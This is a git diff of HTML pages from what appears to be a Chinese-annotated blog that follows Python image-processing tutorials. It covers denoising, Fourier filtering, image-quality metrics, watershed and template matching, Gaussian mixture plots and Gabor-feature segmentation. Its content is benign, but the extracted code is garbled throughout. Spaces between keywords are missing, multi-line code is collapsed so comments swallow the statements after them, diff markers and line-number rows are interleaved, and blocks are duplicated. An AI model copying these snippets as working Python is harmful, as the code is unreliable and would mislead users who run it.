C:\Users\gzjzx\AppData\Local\Temp\ipykernel_11200\4037562389.py:1: FutureWarning: `multichannel` is a deprecated argument name for `denoise_nl_means`. It will be removed in version 1.0. Please use `channel_axis` instead.
denoise_img = denoise_nl_means(img, h=1.15 * sigma_est, fast_mode=True,
C:\Users\gzjzx\AppData\Local\Temp\ipykernel_8228\1044631449.py:1: FutureWarning: `multichannel` is a deprecated argument name for `denoise_tv_chambolle`. It will be removed in version 1.0. Please use `channel_axis` instead.
denoise_img = denoise_tv_chambolle(img, weight=0.1, eps=0.0002, n_iter_max=200, multichannel=True)
# apply automatic Canny edge detection using the computed median lower = int(max(0, (1.0 - sigma) * median)) #Lower threshold is sigma % lower than median #If the value is below 0 then take 0 as the value
upper = int(min(255, (1.0 + sigma) * median)) #Upper threshold is sigma% higher than median #If the value is larger than 255 then take 255 a the value
# apply automatic Canny edge detection using the computed median lower = int(max(0, (1.0 - sigma) * median)) #Lower threshold is sigma % lower than median #If the value is below 0 then take 0 as the value
upper = int(min(255, (1.0 + sigma) * median)) #Upper threshold is sigma% higher than median #If the value is larger than 255 then take 255 a the value
Tutorial 40 - What is Fourier transform and how is it relevant for image processing
Fourier Transform 傅里叶变换
@@ -721,28 +719,28 @@
代码
创建一个正弦波
-
import cv2 import matplotlib.pyplot as plt import numpy as np
-
# Generate a 2D sine wave image x = np.arange(256) # generate values from 0 to 255 (our image size) y = np.sin(2 * np.pi * x / 3) # calculate sine of x values # Divide by a smaller number above to increase the frequency. y += max(y) # offset sine wave by the max value to go out of negative range of sine
# Generate a 256 * 256 image (2D array of the sine wave) # create 2-D array of sine-wave img = np.array([[y[j] * 127for j inrange(256)] for i inrange(256)], dtype=np.uint8)
-
plt.imshow(img)
+
1 2 3
import cv2 import matplotlib.pyplot as plt import numpy as np
+
1 2 3 4 5 6 7 8 9
# Generate a 2D sine wave image x = np.arange(256) # generate values from 0 to 255 (our image size) y = np.sin(2 * np.pi * x / 3) # calculate sine of x values # Divide by a smaller number above to increase the frequency. y += max(y) # offset sine wave by the max value to go out of negative range of sine
# Generate a 256 * 256 image (2D array of the sine wave) # create 2-D array of sine-wave img = np.array([[y[j] * 127for j inrange(256)] for i inrange(256)], dtype=np.uint8)
+
1
plt.imshow(img)
<matplotlib.image.AxesImage at 0x246a404a700>
-
# 改变频率 # Generate a 2D sine wave image x = np.arange(256) # generate values from 0 to 255 (our image size) y = np.sin(2 * np.pi * x / 30) # calculate sine of x values # Divide by a smaller number above to increase the frequency. y += max(y) # offset sine wave by the max value to go out of negative range of sine
# Generate a 256 * 256 image (2D array of the sine wave) # create 2-D array of sine-wave img = np.array([[y[j] * 127for j inrange(256)] for i inrange(256)], dtype=np.uint8)
plt.imshow(img)
+
1 2 3 4 5 6 7 8 9 10 11 12
# 改变频率 # Generate a 2D sine wave image x = np.arange(256) # generate values from 0 to 255 (our image size) y = np.sin(2 * np.pi * x / 30) # calculate sine of x values # Divide by a smaller number above to increase the frequency. y += max(y) # offset sine wave by the max value to go out of negative range of sine
# Generate a 256 * 256 image (2D array of the sine wave) # create 2-D array of sine-wave img = np.array([[y[j] * 127for j inrange(256)] for i inrange(256)], dtype=np.uint8)
#Shift DFT. First check the output without the shift #Without shifting the data would be centered around origin at the top left #Shifting it moves the origin to the center of the image. dft_shift = np.fft.fftshift(dft)
#Calculate magnitude spectrum from the DFT (Real part and imaginary part) #Added 1 as we may see 0 values and log of 0 is indeterminate magnitude_spectrum = 20 * np.log((cv2.magnitude(dft_shift[:, :, 0], dft_shift[:, :, 1]))+1)
#As the spatial frequency increases (bars closer), #the peaks in the DFT amplitude spectrum move farther away from the origin
#Center represents low frequency and the corners high frequency (with DFT shift). #To build high pass filter block center corresponding to low frequencies and let #high frequencies go through. This is nothing but an edge filter.
#Shift DFT. First check the output without the shift #Without shifting the data would be centered around origin at the top left #Shifting it moves the origin to the center of the image. dft_shift = np.fft.fftshift(dft)
#Calculate magnitude spectrum from the DFT (Real part and imaginary part) #Added 1 as we may see 0 values and log of 0 is indeterminate magnitude_spectrum = 20 * np.log((cv2.magnitude(dft_shift[:, :, 0], dft_shift[:, :, 1]))+1)
#As the spatial frequency increases (bars closer), #the peaks in the DFT amplitude spectrum move farther away from the origin
#Center represents low frequency and the corners high frequency (with DFT shift). #To build high pass filter block center corresponding to low frequencies and let #high frequencies go through. This is nothing but an edge filter.
# Band Pass Filter - Concentric circle mask, only the points living in concentric circle are ones rows, cols = img.shape crow, ccol = int(rows / 2), int(cols / 2)
# Band Pass Filter - Concentric circle mask, only the points living in concentric circle are ones rows, cols = img.shape crow, ccol = int(rows / 2), int(cols / 2)
Tutorial 45 - Applying filters designed for grey scale to color images in python
-
from skimage.color.adapt_rgb import adapt_rgb, each_channel, hsv_value from skimage import filters from skimage import io from matplotlib import pyplot as plt from skimage.color import rgb2gray
+
1 2 3 4 5
from skimage.color.adapt_rgb import adapt_rgb, each_channel, hsv_value from skimage import filters from skimage import io from matplotlib import pyplot as plt from skimage.color import rgb2gray
Fails on color images as it is a grey filter
May work with newest skimage, but not clear what is does.
from skimage import io from image_registration import cross_correlation_shifts
image = io.imread("images/Osteosarcoma_01.tif", as_gray=True) offset_image = io.imread("images/Osteosarcoma_01_transl.tif", as_gray=True) # offset image translated by (-17, 18) in y and x
from skimage import io from image_registration import cross_correlation_shifts
image = io.imread("images/Osteosarcoma_01.tif", as_gray=True) offset_image = io.imread("images/Osteosarcoma_01_transl.tif", as_gray=True) # offset image translated by (-17, 18) in y and x
GT: first (original) input image. P: second (deformed) input image. r: ratio of high resolution to low resolution (default=4). ws: sliding window size (default = 8).
GT: first (original) input image. P: second (deformed) input image. r: ratio of high resolution to low resolution (default=4). ws: sliding window size (default = 8).
"""calculates multi-scale structural similarity index (ms-ssim).
:param GT: first (original) input image. :param P: second (deformed) input image. :param weights: weights for each scale (default = [0.0448, 0.2856, 0.3001, 0.2363, 0.1333]). :param ws: sliding window size (default = 11). :param K1: First constant for SSIM (default = 0.01). :param K2: Second constant for SSIM (default = 0.03). :param MAX: Maximum value of datarange (if None, MAX is calculated using image dtype).
"""calculates multi-scale structural similarity index (ms-ssim).
:param GT: first (original) input image. :param P: second (deformed) input image. :param weights: weights for each scale (default = [0.0448, 0.2856, 0.3001, 0.2363, 0.1333]). :param ws: sliding window size (default = 11). :param K1: First constant for SSIM (default = 0.01). :param K2: Second constant for SSIM (default = 0.03). :param MAX: Maximum value of datarange (if None, MAX is calculated using image dtype).
MSSSIM: multi-scale structural similarity index = (0.8966196945619169+0j)
PSNR
-
"""calculates peak signal-to-noise ratio (psnr).
:param GT: first (original) input image. :param P: second (deformed) input image. :param MAX: maximum value of datarange (if None, MAX is calculated using image dtype).
:returns: float -- psnr value in dB. """ psnr_img=full_ref.psnr(ref_img, img, MAX=None) print("PSNR: peak signal-to-noise ratio = ", psnr_img)
+
1 2 3 4 5 6 7 8 9 10
"""calculates peak signal-to-noise ratio (psnr).
:param GT: first (original) input image. :param P: second (deformed) input image. :param MAX: maximum value of datarange (if None, MAX is calculated using image dtype).
:returns: float -- psnr value in dB. """ psnr_img=full_ref.psnr(ref_img, img, MAX=None) print("PSNR: peak signal-to-noise ratio = ", psnr_img)
PSNR: peak signal-to-noise ratio = 25.80492671881574
PSNRB: Calculates PSNR with Blocking Effect Factor for a given pair of images (PSNR-B)
-
"""Calculates PSNR with Blocking Effect Factor for a given pair of images (PSNR-B)
:param GT: first (original) input image in YCbCr format or Grayscale. :param P: second (corrected) input image in YCbCr format or Grayscale.
:return: float -- psnr_b. """ psnrb_img = full_ref.psnrb(ref_img, img) print("PSNRB: peak signal-to-noise ratio with blocking effect = ", psnrb_img)
+
1 2 3 4 5 6 7 8 9
"""Calculates PSNR with Blocking Effect Factor for a given pair of images (PSNR-B)
:param GT: first (original) input image in YCbCr format or Grayscale. :param P: second (corrected) input image in YCbCr format or Grayscale.
:return: float -- psnr_b. """ psnrb_img = full_ref.psnrb(ref_img, img) print("PSNRB: peak signal-to-noise ratio with blocking effect = ", psnrb_img)
PSNRB: peak signal-to-noise ratio with blocking effect = 25.80492671881574
relative average spectral error (rase)
-
"""calculates relative average spectral error (rase).
:param GT: first (original) input image. :param P: second (deformed) input image. :param ws: sliding window size (default = 8).
:param GT: first (original) input image. :param P: second (deformed) input image. :param ws: sliding window size (default = 8). :param K1: First constant for SSIM (default = 0.01). :param K2: Second constant for SSIM (default = 0.03). :param MAX: Maximum value of datarange (if None, MAX is calculated using image dtype).
:param GT: first (original) input image. :param P: second (deformed) input image. :param ws: sliding window size (default = 8). :param K1: First constant for SSIM (default = 0.01). :param K2: Second constant for SSIM (default = 0.03). :param MAX: Maximum value of datarange (if None, MAX is calculated using image dtype).
# Sum all pixels in the scratch region (values =1) scratch_area = np.sum(binary == 1) print("Scratched area is: ", scratch_area, "Square pixels")
scale = 0.45# microns / pixel print("Scratched area in sq. microns is: ", scratch_area*((scale)**2), "Square pixels")
+
1 2 3 4 5 6
# Sum all pixels in the scratch region (values =1) scratch_area = np.sum(binary == 1) print("Scratched area is: ", scratch_area, "Square pixels")
scale = 0.45# microns / pixel print("Scratched area in sq. microns is: ", scratch_area*((scale)**2), "Square pixels")
Scratched area is: 33485 Square pixels
Scratched area in sq. microns is: 6780.712500000001 Square pixels
@@ -888,7 +886,7 @@
import matplotlib.pyplot as plt from skimage import io from skimage.filters.rank import entropy from skimage.morphology import disk import numpy as np from skimage.filters import threshold_otsu
+
1 2 3 4 5 6
import matplotlib.pyplot as plt from skimage import io from skimage.filters.rank import entropy from skimage.morphology import disk import numpy as np from skimage.filters import threshold_otsu
################################################# # Calculate properties # Using regionprops or regionprops_table all_props = measure.regionprops(label_image, image) # Can print various parameters for all objects for prop in all_props: print('Label: {} Area: {}'.format(prop.label, prop.area))
+
1 2 3 4 5 6 7
################################################# # Calculate properties # Using regionprops or regionprops_table all_props = measure.regionprops(label_image, image) # Can print various parameters for all objects for prop in all_props: print('Label: {} Area: {}'.format(prop.label, prop.area))
Compute image properties and return them as a pandas-compatible table.
from skimage.segmentation import clear_border opening = clear_border(opening) # Remove edge touching grains plt.imshow(opening, cmap='gray') # This is our image to be segmented further using watershed
from skimage.segmentation import clear_border opening = clear_border(opening) # Remove edge touching grains plt.imshow(opening, cmap='gray') # This is our image to be segmented further using watershed
<matplotlib.image.AxesImage at 0x2b36bd0d6d0>
@@ -1610,7 +1608,7 @@
-
sure_bg = cv2.dilate(opening,kernel,iterations=10) plt.imshow(sure_bg, cmap='gray') # Dark region is our sure background
+
1 2
sure_bg = cv2.dilate(opening,kernel,iterations=10) plt.imshow(sure_bg, cmap='gray') # Dark region is our sure background
res = cv2.matchTemplate(img_gray, template, cv2.TM_CCOEFF_NORMED) plt.imshow(res, cmap='gray')
<matplotlib.image.AxesImage at 0x263ae67ac40>
-
# Pick only values above 0.8. For TM_CCOEFF_NORMED, larger values = good fit. # 只选择高于0.8的值。对于TM_CCOEFF_NORMED，较大的值=良好的拟合。 threshold = 0.8
loc = np.where( res >= threshold) # Outputs 2 arrays. Combine these arrays to get x,y coordinates - take x from one array and y from the other. # 输出2个数组。组合这些数组得到x,y坐标——从一个数组取x，从另一个数组取y。
# Reminder: ZIP function is an iterator of tuples where first item in each iterator is paired together, then the second item and then third, etc. # 提醒:ZIP函数是一个元组迭代器，其中每个迭代器中的第一个项配对在一起，然后是第二个项，然后是第三个，等等。
for pt inzip(*loc[::-1]): # -1 to swap the values as we assign x and y coordinate to draw the rectangle. -1来交换我们分配的x和y坐标来绘制矩形的值。 # Draw rectangle around each object. We know the top left (pt), draw rectangle to match the size of the template image. 在每个物体周围画一个矩形。我们知道左上角(pt)，绘制矩形以匹配模板图像的大小。 cv2.rectangle(img_rgb, pt, (pt[0] + w, pt[1] + h), (0, 0, 255), 1) # Red rectangles with thickness 2.
-
plt.imshow(img_rgb)
+
1 2 3 4 5 6 7 8 9 10 11 12 13 14
# Pick only values above 0.8. For TM_CCOEFF_NORMED, larger values = good fit. # 只选择高于0.8的值。对于TM_CCOEFF_NORMED，较大的值=良好的拟合。 threshold = 0.8
loc = np.where( res >= threshold) # Outputs 2 arrays. Combine these arrays to get x,y coordinates - take x from one array and y from the other. # 输出2个数组。组合这些数组得到x,y坐标——从一个数组取x，从另一个数组取y。
# Reminder: ZIP function is an iterator of tuples where first item in each iterator is paired together, then the second item and then third, etc. # 提醒:ZIP函数是一个元组迭代器，其中每个迭代器中的第一个项配对在一起，然后是第二个项，然后是第三个，等等。
for pt inzip(*loc[::-1]): # -1 to swap the values as we assign x and y coordinate to draw the rectangle. -1来交换我们分配的x和y坐标来绘制矩形的值。 # Draw rectangle around each object. We know the top left (pt), draw rectangle to match the size of the template image. 在每个物体周围画一个矩形。我们知道左上角(pt)，绘制矩形以匹配模板图像的大小。 cv2.rectangle(img_rgb, pt, (pt[0] + w, pt[1] + h), (0, 0, 255), 1) # Red rectangles with thickness 2.
+
1
plt.imshow(img_rgb)
<matplotlib.image.AxesImage at 0x263a957fc10>
@@ -6174,6 +6172,8 @@
目录
var highlightShrink = "";
var HighlightHeightLimit = "";
+
+
diff --git a/posts/DIP-Python tutorials for image processing and machine learning(36-42)-Pandas/index.html b/posts/DIP-Python tutorials for image processing and machine learning(36-42)-Pandas/index.html
index b8b98119dd..1b9cf7c76a 100644
--- a/posts/DIP-Python tutorials for image processing and machine learning(36-42)-Pandas/index.html
+++ b/posts/DIP-Python tutorials for image processing and machine learning(36-42)-Pandas/index.html
@@ -44,8 +44,6 @@
-
-
@@ -410,14 +408,14 @@
C:\Users\gzjzx\anaconda3\lib\site-packages\seaborn\distributions.py:2619: FutureWarning: `distplot` is a deprecated function and will be removed in a future version. Please adapt your code to use either `displot` (a figure-level function with similar flexibility) or `histplot` (an axes-level function for histograms).
warnings.warn(msg, FutureWarning)
@@ -3212,32 +3210,32 @@
<matplotlib.collections.PathCollection at 0x2c7bd4eb0d0>
@@ -532,7 +530,7 @@
x_df = df[['time']] x_df
+
1 2
x_df = df[['time']] x_df
@@ -587,19 +585,19 @@
x_df.dtypes
+
1
x_df.dtypes
time float64
dtype: object
-
y_df = df.cells
+
1
y_df = df.cells
创建并训练模型
-
reg = linear_model.LinearRegression() # Create an instance of the model reg.fit(x_df, y_df) # Training the model (fitting a line)
+
1 2
reg = linear_model.LinearRegression() # Create an instance of the model reg.fit(x_df, y_df) # Training the model (fitting a line)
预测模型
-
# Predict reg.predict([[2.3]])
+
1 2
# Predict reg.predict([[2.3]])
C:\Users\gzjzx\anaconda3\lib\site-packages\sklearn\base.py:450: UserWarning: X does not have valid feature names, but LinearRegression was fitted with feature names
warnings.warn(
@@ -610,19 +608,19 @@
C:\Users\gzjzx\anaconda3\lib\site-packages\sklearn\base.py:450: UserWarning: X does not have valid feature names, but LinearRegression was fitted with feature names
warnings.warn(
@@ -910,7 +908,7 @@
STEP1: DATA READING AND UNDERSTANDING
-
import pandas as pd from matplotlib import pyplot as plt
Now we apply the KMeans function. Before that we need to specify the criteria. My criteria is such that, whenever 10 iterations of algorithm is ran, or an accuracy of epsilon = 1.0 is reached, stop the algorithm and return the answer.
defdraw_ellipse(position, covariance, ax=None, **kwargs): """ Draw an ellipse with a given position and covariance 画一个具有给定位置和协方差的椭圆 """ ax = ax or plt.gca()
# Convert covariance to principal axes 将协方差转换为主轴 if covariance.shape == (2, 2): U, s, Vt = np.linalg.svd(covariance) angle = np.degrees(np.arctan2(U[1, 0], U[0, 0])) width, height = 2 * np.sqrt(s) else: angle = 0 width, height = 2 * np.sqrt(covariance)
# Draw the Ellipse for nsig inrange(1, 4): ax.add_patch(Ellipse(position, nsig * width, nsig * height, angle, **kwargs))
defdraw_ellipse(position, covariance, ax=None, **kwargs): """ Draw an ellipse with a given position and covariance 画一个具有给定位置和协方差的椭圆 """ ax = ax or plt.gca()
# Convert covariance to principal axes 将协方差转换为主轴 if covariance.shape == (2, 2): U, s, Vt = np.linalg.svd(covariance) angle = np.degrees(np.arctan2(U[1, 0], U[0, 0])) width, height = 2 * np.sqrt(s) else: angle = 0 width, height = 2 * np.sqrt(covariance)
# Draw the Ellipse for nsig inrange(1, 4): ax.add_patch(Ellipse(position, nsig * width, nsig * height, angle, **kwargs))
n_gaussians = means.shape[0] # Number of clusters 集群数量
N = 1000# Number of points to be generated for each cluster. 为每个集群生成的点数。 points = [] for i inrange(len(means)): x = np.random.multivariate_normal(means[i], covs[i], N ) points.append(x) points = np.concatenate(points)
n_gaussians = means.shape[0] # Number of clusters 集群数量
N = 1000# Number of points to be generated for each cluster. 为每个集群生成的点数。 points = [] for i inrange(len(means)): x = np.random.multivariate_normal(means[i], covs[i], N ) points.append(x) points = np.concatenate(points)
defplot_sphere(w=0, c=[0,0,0], r=[1, 1, 1], subdev=10, ax=None, sigma_multiplier=3): ''' plot a sphere surface Input: c: 3 elements list, sphere center r: 3 element list, sphere original scale in each axis ( allowing to draw elipsoids) subdiv: scalar, number of subdivisions (subdivision^2 points sampled on the surface) ax: optional pyplot axis object to plot the sphere in. sigma_multiplier: sphere additional scale (choosing an std value when plotting gaussians) Output: ax: pyplot axis object '''
if ax isNone: fig = plt.figure() ax = fig.add_subplot(111, projection='3d') pi = np.pi cos = np.cos sin = np.sin phi, theta = np.mgrid[0.0:pi:complex(0,subdev), 0.0:2.0 * pi:complex(0,subdev)] x = sigma_multiplier*r[0] * sin(phi) * cos(theta) + c[0] y = sigma_multiplier*r[1] * sin(phi) * sin(theta) + c[1] z = sigma_multiplier*r[2] * cos(phi) + c[2] cmap = cmx.ScalarMappable() cmap.set_cmap('jet') c = cmap.to_rgba(w)
ax.plot_surface(x, y, z, color=c, alpha=0.2, linewidth=1)
return ax
defvisualize_3d_gmm(points, w, mu, stdev): ''' plots points and their corresponding gmm model in 3D Input: points: N X 3, sampled points w: n_gaussians, gmm weights mu: 3 X n_gaussians, gmm means stdev: 3 X n_gaussians, gmm standard deviation (assuming diagonal covariance matrix) Output: None '''
n_gaussians = mu.shape[1] N = int(np.round(points.shape[0] / n_gaussians)) # Visualize data fig = plt.figure(figsize=(8, 8)) axes = fig.add_subplot(111, projection='3d') axes.set_xlim([-1, 1]) axes.set_ylim([-1, 1]) axes.set_zlim([-1, 1]) plt.set_cmap('Set1') colors = cmx.Set1(np.linspace(0, 1, n_gaussians)) for i inrange(n_gaussians): idx = range(i * N, (i + 1) * N) axes.scatter(points[idx, 0], points[idx, 1], points[idx, 2], alpha=0.3, c=colors[i]) plot_sphere(w=w[i], c=mu[:, i], r=stdev[:, i], ax=axes)
defplot_sphere(w=0, c=[0,0,0], r=[1, 1, 1], subdev=10, ax=None, sigma_multiplier=3): ''' plot a sphere surface Input: c: 3 elements list, sphere center r: 3 element list, sphere original scale in each axis ( allowing to draw elipsoids) subdiv: scalar, number of subdivisions (subdivision^2 points sampled on the surface) ax: optional pyplot axis object to plot the sphere in. sigma_multiplier: sphere additional scale (choosing an std value when plotting gaussians) Output: ax: pyplot axis object '''
if ax isNone: fig = plt.figure() ax = fig.add_subplot(111, projection='3d') pi = np.pi cos = np.cos sin = np.sin phi, theta = np.mgrid[0.0:pi:complex(0,subdev), 0.0:2.0 * pi:complex(0,subdev)] x = sigma_multiplier*r[0] * sin(phi) * cos(theta) + c[0] y = sigma_multiplier*r[1] * sin(phi) * sin(theta) + c[1] z = sigma_multiplier*r[2] * cos(phi) + c[2] cmap = cmx.ScalarMappable() cmap.set_cmap('jet') c = cmap.to_rgba(w)
ax.plot_surface(x, y, z, color=c, alpha=0.2, linewidth=1)
return ax
defvisualize_3d_gmm(points, w, mu, stdev): ''' plots points and their corresponding gmm model in 3D Input: points: N X 3, sampled points w: n_gaussians, gmm weights mu: 3 X n_gaussians, gmm means stdev: 3 X n_gaussians, gmm standard deviation (assuming diagonal covariance matrix) Output: None '''
n_gaussians = mu.shape[1] N = int(np.round(points.shape[0] / n_gaussians)) # Visualize data fig = plt.figure(figsize=(8, 8)) axes = fig.add_subplot(111, projection='3d') axes.set_xlim([-1, 1]) axes.set_ylim([-1, 1]) axes.set_zlim([-1, 1]) plt.set_cmap('Set1') colors = cmx.Set1(np.linspace(0, 1, n_gaussians)) for i inrange(n_gaussians): idx = range(i * N, (i + 1) * N) axes.scatter(points[idx, 0], points[idx, 1], points[idx, 2], alpha=0.3, c=colors[i]) plot_sphere(w=w[i], c=mu[:, i], r=stdev[:, i], ax=axes)
import matplotlib.pyplot as plt import cv2 from skimage.filters.rank import entropy from skimage.morphology import disk from scipy import ndimage as nd from skimage.filters import sobel import pandas as pd
import matplotlib.pyplot as plt import cv2 from skimage.filters.rank import entropy from skimage.morphology import disk from scipy import ndimage as nd from skimage.filters import sobel import pandas as pd
# Generate Gabor features num = 1# To count numbers up in order to give Gabor features a lable in the data frame kernels = [] for theta inrange(2): # Define number of thetas theta = theta / 4. * np.pi for sigma in (1, 3): # Sigma with 1 and 3 for lamda in np.arange(0, np.pi, np.pi / 4): # Range of wavelengths for gamma in (0.05, 0.5): # Gamma values of 0.05 and 0.5 gabor_label = 'Gabor' + str(num) # Label Gabor columns as Gabor1, Gabor2, etc. ksize = 9 kernel = cv2.getGaborKernel((ksize, ksize), sigma, theta, lamda, gamma, 0, ktype=cv2.CV_32F) kernels.append(kernel) # Now filter the image and add values to a new column fimg = cv2.filter2D(img2, cv2.CV_8UC3, kernel) filtered_img = fimg.reshape(-1) df[gabor_label] = filtered_img # Labels columns as Gabor1, Gabor2, etc. print(gabor_label, ': theta =', theta, ': sigma =', sigma, ': lamda =', lamda, ': gamma =', gamma) num += 1# Increment for gabor column label
+
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
# Generate Gabor features num = 1# To count numbers up in order to give Gabor features a lable in the data frame kernels = [] for theta inrange(2): # Define number of thetas theta = theta / 4. * np.pi for sigma in (1, 3): # Sigma with 1 and 3 for lamda in np.arange(0, np.pi, np.pi / 4): # Range of wavelengths for gamma in (0.05, 0.5): # Gamma values of 0.05 and 0.5 gabor_label = 'Gabor' + str(num) # Label Gabor columns as Gabor1, Gabor2, etc. ksize = 9 kernel = cv2.getGaborKernel((ksize, ksize), sigma, theta, lamda, gamma, 0, ktype=cv2.CV_32F) kernels.append(kernel) # Now filter the image and add values to a new column fimg = cv2.filter2D(img2, cv2.CV_8UC3, kernel) filtered_img = fimg.reshape(-1) df[gabor_label] = filtered_img # Labels columns as Gabor1, Gabor2, etc. print(gabor_label, ': theta =', theta, ': sigma =', sigma, ': lamda =', lamda, ': gamma =', gamma) num += 1# Increment for gabor column label
67 - Image Segmentation using traditional machine learning - Part5 Segmenting Images
-
import numpy as np import cv2 import pandas as pd
deffeature_extraction(img): df = pd.DataFrame()
# All features generated must match the way features are generated for TRAINING. # Feature1 is our original image pixels img2 = img.reshape(-1) df['Original Image'] = img2
# Generate Gabor features num = 1 kernels = [] for theta inrange(2): theta = theta / 4. * np.pi for sigma in (1, 3): for lamda in np.arange(0, np.pi, np.pi / 4): for gamma in (0.05, 0.5): gabor_label = 'Gabor' + str(num) ksize=9 kernel = cv2.getGaborKernel((ksize, ksize), sigma, theta, lamda, gamma, 0, ktype=cv2.CV_32F) kernels.append(kernel) # Now filter image and add values to new column fimg = cv2.filter2D(img2, cv2.CV_8UC3, kernel) filtered_img = fimg.reshape(-1) df[gabor_label] = filtered_img # Modify this to add new column for each gabor num += 1 ######################################## # Geerate OTHER FEATURES and add them to the data frame # Feature 3 is canny edge edges = cv2.Canny(img, 100,200) # Image, min and max values edges1 = edges.reshape(-1) df['Canny Edge'] = edges1 # Add column to original dataframe
from skimage.filters import roberts, sobel, scharr, prewitt
# Feature 4 is Roberts edge edge_roberts = roberts(img) edge_roberts1 = edge_roberts.reshape(-1) df['Roberts'] = edge_roberts1
path = "images/Train_images/*.tif" for file in glob.glob(path): print(file) # just stop here to see all file names printed img = cv2.imread(file, 0) # Call the feature extraction function. X = feature_extraction(img) result = loaded_model.predict(X) segmented = result.reshape((img.shape))
name = file.split("e_") cv2.imwrite('images/Segmented/'+ name[1], segmented)
# All features generated must match the way features are generated for TRAINING. # Feature1 is our original image pixels img2 = img.reshape(-1) df['Original Image'] = img2
# Generate Gabor features num = 1 kernels = [] for theta inrange(2): theta = theta / 4. * np.pi for sigma in (1, 3): for lamda in np.arange(0, np.pi, np.pi / 4): for gamma in (0.05, 0.5): gabor_label = 'Gabor' + str(num) ksize=9 kernel = cv2.getGaborKernel((ksize, ksize), sigma, theta, lamda, gamma, 0, ktype=cv2.CV_32F) kernels.append(kernel) # Now filter image and add values to new column fimg = cv2.filter2D(img2, cv2.CV_8UC3, kernel) filtered_img = fimg.reshape(-1) df[gabor_label] = filtered_img # Modify this to add new column for each gabor num += 1 ######################################## # Geerate OTHER FEATURES and add them to the data frame # Feature 3 is canny edge edges = cv2.Canny(img, 100,200) # Image, min and max values edges1 = edges.reshape(-1) df['Canny Edge'] = edges1 # Add column to original dataframe
from skimage.filters import roberts, sobel, scharr, prewitt
# Feature 4 is Roberts edge edge_roberts = roberts(img) edge_roberts1 = edge_roberts.reshape(-1) df['Roberts'] = edge_roberts1
path = "images/Train_images/*.tif" for file in glob.glob(path): print(file) # just stop here to see all file names printed img = cv2.imread(file, 0) # Call the feature extraction function. X = feature_extraction(img) result = loaded_model.predict(X) segmented = result.reshape((img.shape))
name = file.split("e_") cv2.imwrite('images/Segmented/'+ name[1], segmented)
67b - Feature based image segmentation using traditional machine learning. -Multi-training images-
# Check if the input image is RGB or grey and convert to grey if RGB if input_img.ndim == 3and input_img.shape[-1] == 3: img = cv2.cvtColor(input_img,cv2.COLOR_BGR2GRAY) elif input_img.ndim == 2: img = input_img else: raise excerption("The module works only with grayscale and RGB images!")
################################################################ # START ADDING DATA TO THE DATAFRAME
# Add pixel values to the data frame pixel_values = img.reshape(-1) df['Pixel_Value'] = pixel_values # Pixel value itself as a feature df['Image_Name'] = image # Capture image name as we read multiple images
############################################################################ # Generate Gabor features num = 1# To count numbers up in order to give Gabor features a lable in the data frame kernels = [] for theta inrange(2): # Define number of thetas theta = theta / 4. * np.pi for sigma in (1, 3): # Sigma with 1 and 3 for lamda in np.arange(0, np.pi, np.pi / 4): # Range of wavelengths for gamma in (0.05, 0.5): # Gamma values of 0.05 and 0.5 gabor_label = 'Gabor' + str(num) # Label Gabor columns as Gabor1, Gabor2, etc. ksize=9 kernel = cv2.getGaborKernel((ksize, ksize), sigma, theta, lamda, gamma, 0, ktype=cv2.CV_32F) kernels.append(kernel) # Now filter the image and add values to a new column fimg = cv2.filter2D(img, cv2.CV_8UC3, kernel) filtered_img = fimg.reshape(-1) df[gabor_label] = filtered_img #Labels columns as Gabor1, Gabor2, etc. print(gabor_label, ': theta=', theta, ': sigma=', sigma, ': lamda=', lamda, ': gamma=', gamma) num += 1# Increment for gabor column label ######################################## # Gerate OTHER FEATURES and add them to the data frame
# CANNY EDGE edges = cv2.Canny(img, 100,200) #Image, min and max values edges1 = edges.reshape(-1) df['Canny Edge'] = edges1 #Add column to original dataframe
from skimage.filters import roberts, sobel, scharr, prewitt
# MEDIAN with sigma=3 median_img = nd.median_filter(img, size=3) median_img1 = median_img.reshape(-1) df['Median s3'] = median_img1
# VARIANCE with size=3 variance_img = nd.generic_filter(img, np.var, size=3) variance_img1 = variance_img.reshape(-1) df['Variance s3'] = variance_img1 # Add column to original dataframe
###################################### # Update dataframe for images to include details for each image in the loop image_dataset = image_dataset.append(df)
# Check if the input image is RGB or grey and convert to grey if RGB if input_img.ndim == 3and input_img.shape[-1] == 3: img = cv2.cvtColor(input_img,cv2.COLOR_BGR2GRAY) elif input_img.ndim == 2: img = input_img else: raise excerption("The module works only with grayscale and RGB images!")
################################################################ # START ADDING DATA TO THE DATAFRAME
# Add pixel values to the data frame pixel_values = img.reshape(-1) df['Pixel_Value'] = pixel_values # Pixel value itself as a feature df['Image_Name'] = image # Capture image name as we read multiple images
############################################################################ # Generate Gabor features num = 1# To count numbers up in order to give Gabor features a lable in the data frame kernels = [] for theta inrange(2): # Define number of thetas theta = theta / 4. * np.pi for sigma in (1, 3): # Sigma with 1 and 3 for lamda in np.arange(0, np.pi, np.pi / 4): # Range of wavelengths for gamma in (0.05, 0.5): # Gamma values of 0.05 and 0.5 gabor_label = 'Gabor' + str(num) # Label Gabor columns as Gabor1, Gabor2, etc. ksize=9 kernel = cv2.getGaborKernel((ksize, ksize), sigma, theta, lamda, gamma, 0, ktype=cv2.CV_32F) kernels.append(kernel) # Now filter the image and add values to a new column fimg = cv2.filter2D(img, cv2.CV_8UC3, kernel) filtered_img = fimg.reshape(-1) df[gabor_label] = filtered_img #Labels columns as Gabor1, Gabor2, etc. print(gabor_label, ': theta=', theta, ': sigma=', sigma, ': lamda=', lamda, ': gamma=', gamma) num += 1# Increment for gabor column label ######################################## # Gerate OTHER FEATURES and add them to the data frame
# CANNY EDGE edges = cv2.Canny(img, 100,200) #Image, min and max values edges1 = edges.reshape(-1) df['Canny Edge'] = edges1 #Add column to original dataframe
from skimage.filters import roberts, sobel, scharr, prewitt
# MEDIAN with sigma=3 median_img = nd.median_filter(img, size=3) median_img1 = median_img.reshape(-1) df['Median s3'] = median_img1
# VARIANCE with size=3 variance_img = nd.generic_filter(img, np.var, size=3) variance_img1 = variance_img.reshape(-1) df['Variance s3'] = variance_img1 # Add column to original dataframe
###################################### # Update dataframe for images to include details for each image in the loop image_dataset = image_dataset.append(df)
STEP 2: READ LABELED IMAGES (MASKS) AND CREATE ANOTHER DATAFRAME WITH LABEL VALUES AND LABEL FILE NAMES
-
mask_dataset = pd.DataFrame() # Create dataframe to capture mask info.
mask_path = "images/train_masks/" for mask in os.listdir(mask_path): # iterate through each file to perform some action print(mask)
df2 = pd.DataFrame() # Temporary dataframe to capture info for each mask in the loop input_mask = cv2.imread(mask_path + mask)
